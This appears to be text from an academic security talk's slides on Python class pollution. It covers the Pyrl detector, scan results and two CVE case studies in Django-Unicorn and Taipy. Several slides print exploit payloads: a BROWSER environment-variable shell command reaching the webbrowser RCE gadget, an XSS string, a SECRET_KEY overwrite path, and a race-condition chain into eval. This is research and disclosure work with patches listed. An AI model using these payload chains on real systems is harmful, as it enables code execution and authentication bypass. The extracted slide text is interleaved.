        browser = _browsers[name.lower()]
                                                          arg.replace("%s", url)
        if browser.open(url):
                                                              for arg in self.args
          return True
                                                        ]
                                                        subprocess.Popen(argv)
    def register_standard_browsers():
                                                        return True
      global _tryorder
      for cmd in os.environ["BROWSER"].split(os.pathsep):
        _browsers[cmd.lower()] = GenericBrowser(cmd)
        _tryorder.append(cmd)


0x02 The First Class Pollution Taxonomy                                                       54
   Universal RCE Gadgets #1: webbrowser, antigravity
    cpython/blob/3.14/Lib/webbrowser.py
    _browsers = {}
                                                    class GenericBrowser:
    _tryorder = []
                                                      def __init__(self, cmd):
                                                        self.name, *self.args = shlex.split(cmd)
    def open(url):
      register_standard_browsers()
                                                       def open(self, url):
      for name in _tryorder:
                                  Trigger code:
        browser = _browsers[name.lower()]
                                                         argv = [self.name] + [
                                                           arg.replace("%s", url)
        if browser.open(url):
                               import webbrowser               for arg in self.args
          return True
                               webbrowser.open(url) ]
                                                         subprocess.Popen(argv)
                                  or
    def register_standard_browsers():
                                                         return True
      global _tryorder
                               import antigravity
      for cmd in os.environ["BROWSER"].split(os.pathsep):
        _browsers[cmd.lower()] = GenericBrowser(cmd)
        _tryorder.append(cmd)


0x02 The First Class Pollution Taxonomy                                                       55
   Universal RCE Gadgets #1: webbrowser, antigravity
    cpython/blob/3.14/Lib/webbrowser.py
    _browsers = {}
                                                      class GenericBrowser:
    _tryorder = []
                                                        def __init__(self, cmd):
                                                          self.name, *self.args = shlex.split(cmd)
    def open(url):                        Pollutable via Class Pollution:
      register_standard_browsers()
                                                      def open(self, url):
      for name in _tryorder:              os.environ[“BROWSER”]         =
                                                        argv = [self.name] + [
        browser = _browsers[name.lower()]
        if browser.open(url):             “sh -c ‘echo pwned’”
                                                          arg.replace("%s", url)
                                                              for arg in self.args
          return True
                                                          ]
                                                          subprocess.Popen(argv)
    def register_standard_browsers():
                                                          return True
      global _tryorder
      for cmd in os.environ["BROWSER"].split(os.pathsep):
        _browsers[cmd.lower()] = GenericBrowser(cmd)
        _tryorder.append(cmd)


0x02 The First Class Pollution Taxonomy                                                         56
   Universal RCE Gadgets #1: webbrowser, antigravity
    cpython/blob/3.14/Lib/webbrowser.py
    _browsers = {}
                                                    class GenericBrowser:
    _tryorder = []
                                                      def __init__(self, cmd):
                                                        self.name, *self.args = shlex.split(cmd)
    def open(url):                            Flow to the sink!
      register_standard_browsers()
                                                      def open(self, url):
      for name in _tryorder:
                                                        argv = [self.name] + [
        browser = _browsers[name.lower()]
                                                          arg.replace("%s", url)
        if browser.open(url):
                                                              for arg in self.args
          return True
                                                        ]
                                                        subprocess.Popen(argv)
    def register_standard_browsers():
                                                        return True
      global _tryorder
      for cmd in os.environ["BROWSER"].split(os.pathsep):
        _browsers[cmd.lower()] = GenericBrowser(cmd)
        _tryorder.append(cmd)


0x02 The First Class Pollution Taxonomy                                                       57
   Consequnces

    Based on different sinks, class pollution could lead to:
     ●    Data-ﬂow Hijacking
           ○ Injection-based vulnerabilities, e.g., RCE, XSS, etc.
           ○ Authentication bypass, e.g., by overwriting secret keys
           ○ DoS, e.g., overwriting a callable target with a non-callable value
     ●    Control-ﬂow Hijacking
           ○ Manipulating security checks
           ○ Gadget chaining: activate additional gadgets




0x02 The First Class Pollution Taxonomy                                           58
0x03 | Pyrl: Detecting Class Pollution In-the-Wild




                                                 59
   Challenges

    Why Existing Tools Miss Class Pollution?
     ●    No more classic sinks!
          Existing Python taint analysis tools (Pysa, Pyt, CodeQL) follow a
          source-to-sink model designed for classic injection vulnerabilities.
     ●    Requires tracking multiple intertwined data ﬂows at the same time!
          From input to resolved objects, keys and values.




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                 60
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)

    Key Insight: Operational Taint Analysis

     ●    Using a set of ﬁne-grained, expressive labels that track from attackers’
          input to sinks through “Get” and “Set” primitives.




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                     61
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)

         T_INPUTα

         T_ENUM

         T_KEY

         T_OBJ

         G_ATTRα

         G_ITEMα



0x03 Pyrl: Detecting Class Pollution In-the-Wild   62
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)                      They are operational!
         T_INPUTα                                  # main.py
                             Split
                                                   def update(user, input):
                             Operation
         T_ENUM                                     for key, value in input.items():
                                                      if isinstance(value, dict):
                                                        if isinstance(user, dict):
         T_KEY
                                                          update(user[key], value)
                                                        else:
         T_OBJ                                            update(getattr(user, key), value)
                                                      elif isinstance(user, dict):
                  α
         G_ATTR                                         user[key] = value
                                                      else:
         G_ITEMα                                        setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                              63
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)                      They are operational!
         T_INPUTα                                  # main.py
                                                   def update(user, input):
         T_ENUM                                     for key, value in input.items():
                             Enumerate                if isinstance(value, dict):
                             Operation                  if isinstance(user, dict):
         T_KEY
                                                          update(user[key], value)
                                                        else:
         T_OBJ                                            update(getattr(user, key), value)
                                                      elif isinstance(user, dict):
                  α
         G_ATTR                                         user[key] = value
                                                      else:
         G_ITEMα                                        setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                              64
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)                      They are operational!
         T_INPUTα                                  # main.py
                                                   def update(user, input):
         T_ENUM                                     for key, value in input.items():
                                                      if isinstance(value, dict):
                                                        if isinstance(user, dict):
         T_KEY
                                 GetItem                  update(user[key], value)
                                 Operation              else:
         T_OBJ                                            update(getattr(user, key), value)
                                                      elif isinstance(user, dict):
                  α
         G_ATTR                                         user[key] = value
                                                      else:
         G_ITEMα                                        setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                              65
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)                      They are operational!
         T_INPUTα                                  # main.py
                                                   def update(user, input):
         T_ENUM                                     for key, value in input.items():
                                                      if isinstance(value, dict):
                                                        if isinstance(user, dict):
         T_KEY
                                 GetAttr                  update(user[key], value)
                                 Operation              else:
         T_OBJ                                            update(getattr(user, key), value)
                                                      elif isinstance(user, dict):
                  α
         G_ATTR                                         user[key] = value
                                                      else:
         G_ITEMα                                        setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                              66
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)                      They are operational!
         T_INPUTα                                  # main.py    T_OBJ ⋀ (G_ATTRα ⊎ G_ITEMα)
                                                   def update(user, input):
         T_ENUM                                     for key, value in input.items():
                                                                      T_OBJ ⋀ G_ITEMα
                                                      if isinstance(value, dict):
                                                        if isinstance(user, dict):
         T_KEY
                                                          update(user[key], value)
                                                        else:
         T_OBJ                                            update(getattr(user, key), value)
                                                      elif isinstance(user, dict):
                  α                Branching                T_OBJ ⋀ G_ATTRα
         G_ATTR                                         user[key] = value
                                                      else:
         G_ITEMα                                        setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                              67
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)

         Agnostic-Get × Dual-Set
                                                   # main.py
                                                   def update(user, input):
         Agnostic-Get × Item-Set
                                                    for key, value in input.items():
                                                      if isinstance(value, dict):
         Agnostic-Get × Attr-Set
                                                        if isinstance(user, dict):
                                                          update(user[key], value)
       Constrained-Get × Dual-Set
                                                        else:

       Constrained-Get × Item-Set                         update(getattr(user, key), value)
                                                      elif isinstance(user, dict):
       Constrained-Get × Attr-Set                       user[key] = value
                                                      else:
                                                        setattr(user, key, value)

                           What are their
                           labels?
0x03 Pyrl: Detecting Class Pollution In-the-Wild                                              68
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)

         Agnostic-Get × Dual-Set
                                                       # main.py
                                                       def update(user, input):
         Agnostic-Get × Item-Set
                                                        for key, value in input.items():
                                                          if isinstance(value, dict):
         Agnostic-Get × Attr-Set
                                                              if isinstance(user, dict):
                                                   T_OBJ ⋀                     T_KEY/INPUT         T_INPUTα
                                                                 update(user[key], value)
       Constrained-Get × Dual-Set                  (G_ATTRα ⊎ G_ITEMα)
                                                              else:

       Constrained-Get × Item-Set                              update(getattr(user, key), value)
                                                          elif isinstance(user, dict):
       Constrained-Get × Attr-Set                            user[key] = value
                                                          else:
                                                             setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                                        69
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)

         Agnostic-Get × Dual-Set
                                                       # main.py
                                                       def update(user, input):
         Agnostic-Get × Item-Set
                                                        for key, value in input.items():
                                                          if isinstance(value, dict):
         Agnostic-Get × Attr-Set
                                                              if isinstance(user, dict):
                                                   T_OBJ ⋀ G_ATTRα             T_KEY/INPUT         T_INPUTα
                                                                 update(user[key], value)
       Constrained-Get × Dual-Set
                                                             else:

       Constrained-Get × Item-Set                              update(getattr(user, key), value)
                                                          elif isinstance(user, dict):
       Constrained-Get × Attr-Set                            user[key] = value
                                                          else:
                                                             setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                                        70
   Our Solution: Pyrl (/pɜːrl/, “Pearl”)

         Agnostic-Get × Dual-Set
                                                       # main.py
                                                       def update(user, input):
         Agnostic-Get × Item-Set
                                                        for key, value in input.items():
                                                          if isinstance(value, dict):
         Agnostic-Get × Attr-Set
                                                              if isinstance(user, dict):
                                                   T_OBJ ⋀ G_ATTRα             T_KEY/INPUT         T_INPUTα
                                                                 update(user[key], value)
       Constrained-Get × Dual-Set
                                                             else:

       Constrained-Get × Item-Set                              update(getattr(user, key), value)
                                                          elif isinstance(user, dict):
        Constrained-Get × Attr-Set                           user[key] = value
                                                          else:
                                                             setattr(user, key, value)




0x03 Pyrl: Detecting Class Pollution In-the-Wild                                                        71
   Applying Pyrl In-the-Wild

    Dataset:
     ●     69,361 GitHub repos (>100 stars) (crawled in Jan 2025)
     ●     602,114 PyPI packages (crawled in March 2025)
     ●     Total: 671,475 real-world Python programs


         Alerts reported      Manually veriﬁed   True zero-days     CVEs assigned

              868                         84           47                 7



0x02 The First Class Pollution Taxonomy                                             72
   Class Pollution Distribution

    Pollution Primitive breakdown
    Constrained-Get × Attr-Set            █████████████████ 617

    Agnostic-Get × Dual-Set               ███ 106

    Agnostic-Get × Item-Set               ██ 80

    Agnostic-Get × Attr-Set               █ 27

    Constrained-Get × Item-Set            █ 21

    Constrained-Get × Dual-Set            █ 17




0x02 The First Class Pollution Taxonomy                           73
   Class Pollution Distribution

    Pollution Primitive breakdown
    Constrained-Get × Attr-Set            █████████████████ 617

    Agnostic-Get × Dual-Set               ███ 106

    Agnostic-Get × Item-Set               ██ 80

    Agnostic-Get × Attr-Set               █ 27      The only one known before!
    Constrained-Get × Item-Set            █ 21

    Constrained-Get × Dual-Set            █ 17




0x02 The First Class Pollution Taxonomy                                          74
   Class Pollution Distribution

    Pollution Primitive breakdown
    Constrained-Get × Attr-Set            █████████████████ 617

    Agnostic-Get × Dual-Set               ███ 106

    Agnostic-Get × Item-Set               ██ 80
                                                    All others are
    Agnostic-Get × Attr-Set               █ 27
                                                    newly identiﬁed in this
    Constrained-Get × Item-Set            █ 21
                                                    work!
    Constrained-Get × Dual-Set            █ 17




0x02 The First Class Pollution Taxonomy                                       75
                                        See our wiki and Gihtub repo!
   Results
    https://class-pollution.github.io             https://github.com/jackfromeast/python-class-pollution




0x02 The First Class Pollution Taxonomy                                                                    76
0x04 | Real-World Zero-Day Case Studies




                                          77
   Case Study #1: Django-Unicorn (CVE-2025-24370)

    Two-way data bindings between frontend user
    interactions and backend program states


                         components update




                                             Framework
                                              Backend
    Type:
        hello@world




0x04 Real-World Zero-Day Case Stuides                    78
   Case Study #1: Django-Unicorn (CVE-2025-24370)
                                                                   Attacker-controlled!
    Two-way data bindings between frontend user
    interactions and backend program states
                                                            def set_property(component, name_str, value):
                                                             names = name_str.split(".")
                                                             for idx, name in enumerate(names):
                         components update                     if hasattr(component, name):
                                                                 if idx == len(names) - 1:
                                                                   setattr(component, name, value)
                                                                 else:
                                                                   component = getattr(component, name)
                                             Framework         elif isinstance(component, dict):
                                              Backend            if idx == len(names) - 1:
    Type:                                                          component[name] = value
                                                                 else:
        hello@world                                                component = component[name]



                                                         Agnostic-Get × Dual-Set
0x04 Real-World Zero-Day Case Stuides                    Type!                                              79
   Case Study #1: Django-Unicorn (CVE-2025-24370)
   Consequence #1: Denial-of-Service via Decorator Corrpution

  __init__.__globals__.time
  d = POLLUTED




  @timed
  def _call_method_name(...) ->
  Any:




0x04 Real-World Zero-Day Case Stuides                           80
   Case Study #1: Django-Unicorn (CVE-2025-24370)
   Consequence #2: Stored XSS by Overwriting BeautifulSoup Entity Map

 __init__.__globals__.sys.modu
 les.bs4.dammit.EntitySubstitu
 tion.CHARACTER_TO_XML_ENTI
 TY.< =
 <img/src=1 onerror=alert(1)>
 CHARACTER_TO_XML_ENTITY = {
    "'": "apos",
    '"': "quot",
    "&": "amp",
    "<": "lt",
    ">": "gt",
 }


0x04 Real-World Zero-Day Case Stuides                                   81
   Case Study #1: Django-Unicorn (CVE-2025-24370)
   Consequence #3: Authentication Bypass by Overwriting Django Secret Key

 __init__.__globals__.sys.modu
 les.django.template.backends
 .django.settings.SECRET_KEY
 =
 my_secret_key




0x04 Real-World Zero-Day Case Stuides                                       82
   Case Study #1: Django-Unicorn (CVE-2025-24370)
   Consequence #4: RCE by Polluting Location Cache and OS ENV BROWSER




0x04 Real-World Zero-Day Case Stuides                                   83
   Case Study #1: Django-Unicorn (CVE-2025-24370)
   Consequence #4: RCE by Polluting Location Cache and OS ENV BROWSER

    Step 1:
    __init__.__globals__.location_cache._Cache__data.tod
    o = [“antigravity”, “any”]

                                                Trigger the universal RCE gadget in
                                                webbrowser/antigravity std library
     Step 2:
     __init__.__globals__.sys.modules.os.environ
     = “/bin/sh -c \"touch /tmp/pwned \" #%s”


0x04 Real-World Zero-Day Case Stuides                                                 84
   Case Study #2: Taipy (CVE-2025-30374)
                                                                Attacker-controlled!
                                        gui._get_data_scope()


            Req #1
                                        https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503e
                                        e480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
                                        def _attrsetter(obj: object, attr_str: str, value: object):
                                            var_name_split = attr_str.split(sep=".")
                     Server-side            for i in range(len(var_name_split) - 1):
                                                sub_name = var_name_split[i]
                      Programs
                                                obj = getattr(obj, sub_name)
                                            setattr(obj, var_name_split[-1], value)



                                                                            Constrained-Get ×
                                                                            Attr-Set Type!

0x04 Real-World Zero-Day Case Stuides                                                                       85
   Case Study #2: Taipy (CVE-2025-30374)
                                                                        Attacker-controlled!
                                                gui._get_data_scope()


            Req #1
                                                https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503e
                                                e480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
                                                def _attrsetter(obj: object, attr_str: str, value: object):
                                                    var_name_split = attr_str.split(sep=".")
                       Server-side                  for i in range(len(var_name_split) - 1):
                                                        sub_name = var_name_split[i]
                        Programs
                                                        obj = getattr(obj, sub_name)
                                                    setattr(obj, var_name_split[-1], value)



 However, the obj (from data scope) by default only has a very                      Constrained-Get ×
 limited number of objects and cannot directly lead to RCE.
                                                                                    Attr-Set Type!

0x04 Real-World Zero-Day Case Stuides                                                                               86
   Case Study #2: Taipy (CVE-2025-30374)
                                                       Can we trigger other APIs to bring more useful
                                                       objects to the scope?
                                                gui._get_data_scope()


            Req #1
                                                https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503e
                                                e480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
                                                def _attrsetter(obj: object, attr_str: str, value: object):
                                                    var_name_split = attr_str.split(sep=".")
                       Server-side                  for i in range(len(var_name_split) - 1):
                                                        sub_name = var_name_split[i]
                        Programs
                                                        obj = getattr(obj, sub_name)
                                                    setattr(obj, var_name_split[-1], value)



 However, the obj (from data scope) by default only has a very                      Constrained-Get ×
 limited number of objects and cannot directly lead to RCE.
                                                                                    Attr-Set Type!

0x04 Real-World Zero-Day Case Stuides                                                                               87
   Case Study #2: Taipy (CVE-2025-30374)                                 From Req #2

                                        def table_on_edit(self, state, var_name, payload):
                                            setattr(state, var_name,
                                                    self._get_accessor().on_edit(getattr(state, var_name), payload))


                                        class State(SimpleNamespace):
            Req #2                          def __getattribute__(self, name: str) -> t.Any:
                                                with self._notebook_context(gui), self._set_context(gui):
                                                    encoded_name = gui._bind_var(name)
                                                    return getattr(gui._bindings(), encoded_name)


                     Server-side        def _bind_var(self, var_name: str) -> str:
                      Programs              if var_name in self._get_locals_bind().keys():
                                                bind_context = self._get_locals_context()
                                            if not hasattr(self._bindings(), encoded_var_name):
                                                bind_locals = self._get_locals_bind_from_context(bind_context)
                                                self._bind(encoded_var_name, bind_locals[var_name])
                                            return encoded_var_name

   Bring more values to
                                        def _bind(self, name: str, value: t.Any) -> None:
   the data scope!                          setattr(self._get_data_scope(), name, value)




0x04 Real-World Zero-Day Case Stuides                                                                              88
   Case Study #2: Taipy (CVE-2025-30374)
                                        def table_on_edit(self, state, var_name, payload):
                                            setattr(state, var_name,
                                                    self._get_accessor().on_edit(getattr(state, var_name), payload))




            Req #2

                                                                                  Bring more values to
                                                                                  the data scope.
                     Server-side
                      Programs




0x04 Real-World Zero-Day Case Stuides                                                                              89
   Case Study #2: Taipy (CVE-2025-30374)
                                        def table_on_edit(self, state, var_name, payload):
                                            setattr(state, var_name,
                                                    self._get_accessor().on_edit(getattr(state, var_name), payload))




            Req #2


                                                    None                          Bring more values to
                                                                                  the data scope.
                     Server-side
                      Programs




0x04 Real-World Zero-Day Case Stuides                                                                              90
   Case Study #2: Taipy (CVE-2025-30374)
                                        def table_on_edit(self, state, var_name, payload):
                                            setattr(state, var_name,
                                                    self._get_accessor().on_edit(getattr(state, var_name), payload))




            Req #2


                                                    None                          Bring more values to
                                                                                  the data scope.
                     Server-side
                      Programs
                                           However, it will be immediately set
                                           state.var_name to None.




0x04 Real-World Zero-Day Case Stuides                                                                              91
   Case Study #2: Taipy (CVE-2025-30374)
                                        def table_on_edit(self, state, var_name, payload):
                                            setattr(state, var_name,
                                                    self._get_accessor().on_edit(getattr(state, var_name), payload))




            Req #2


                                                    None                          Bring more values to
                                                                                  the data scope.
                     Server-side
                      Programs
                                           However, it will be immediately set
                                           state.var_name to None.

                                                                            Race Condition Time!

0x04 Real-World Zero-Day Case Stuides                                                                              92
   Case Study #2: Taipy (CVE-2025-30374)
                                        def _get_dataframe_attributes(self) -> "_Builder":
                                            self.__gui._evaluate_expr(
                                                "{"
                                                + f"{self.__gui._get_call_method_name('_compare_data')}"
                                                + ...
             Req #1                             + "}"
             Req #2                         )


                                                                                Pollutable vis Class Pollution
                      Server-side                        def _get_call_method_name(self, name: str):
                                                             return f"{Gui.__SELF_VAR}.{name}"
                       Programs

                                        def evaluate_expr( self, gui, expr, lazy_declare,
                                        lambda_expr):
                                          with gui._get_authorization():
                                            expr_evaluated = eval(expr if is_edge_case else
                                        expr_string, ctx)



                                                                      RCE sink!
0x04 Real-World Zero-Day Case Stuides                                                                       93
   Case Study #2: Taipy (CVE-2025-30374)
   Consequence: RCE by Chaining Race Condition and Class Pollution




0x04 Real-World Zero-Day Case Stuides                                94
0x05 | Mitigation and Defense




                                95
   Real-world Patches for Class Pollution

     ● Guard during the “Get” Process
          ○    Blocking speciﬁc dunder attributes (e.g., __globals__) or dotted keys
                ■   Pydash1 (commit 2015f0a), Taipy (commit 20cc955)

          ○    Blocking keys with underscore preﬁxes/sufﬁxes
                ■   Pydash2 (commit 6ff0831), Django-Unicorn (commit 1761420), DeepDiff (commit
                    c69c06c), Mesop (commit 748e20d), Azure CLI (commit 05a5d8f)

          ○    Whitelisting certain allowed attributes only
                ■   ComfyUI (commit 3b4b171)



0x05 Mitigation and Defense                                                                       96
   Real-world Patches for Class Pollution

     ●   Guard during the “Set” Process
          ○    Perform type validation, which checks the resolved object's type before
               assignment, rejecting writes to unexpected targets.
                ■   Smolagents (commit 33a942e)




0x05 Mitigation and Defense                                                          97
   Conclusion

     ● Python class pollution is an ecosystem-wide security problem rooted in the
         language design feature
     ●   Our taxonomy reveals six distinct vulnerability types with diverse
         exploitation paths, and even the least powerful primitive leads to XSS and
         RCE in the wild.
     ●   Pyrl and the wiki page (dataset, taxonomy) are open-sourced for the
         community to systematically detect, triage, and exploit class pollution at
         scale.



0x05 Mitigation and Defense                                                           98
Thank you for your
listening!



  Wiki Page     Tool & Dataset   Paper: S&P ‘26




Zhengyu Liu: zliu192@jhu.edu
Jiacheng (Gavin) Zhong: superboyzjc@gmail.com

                                                  99
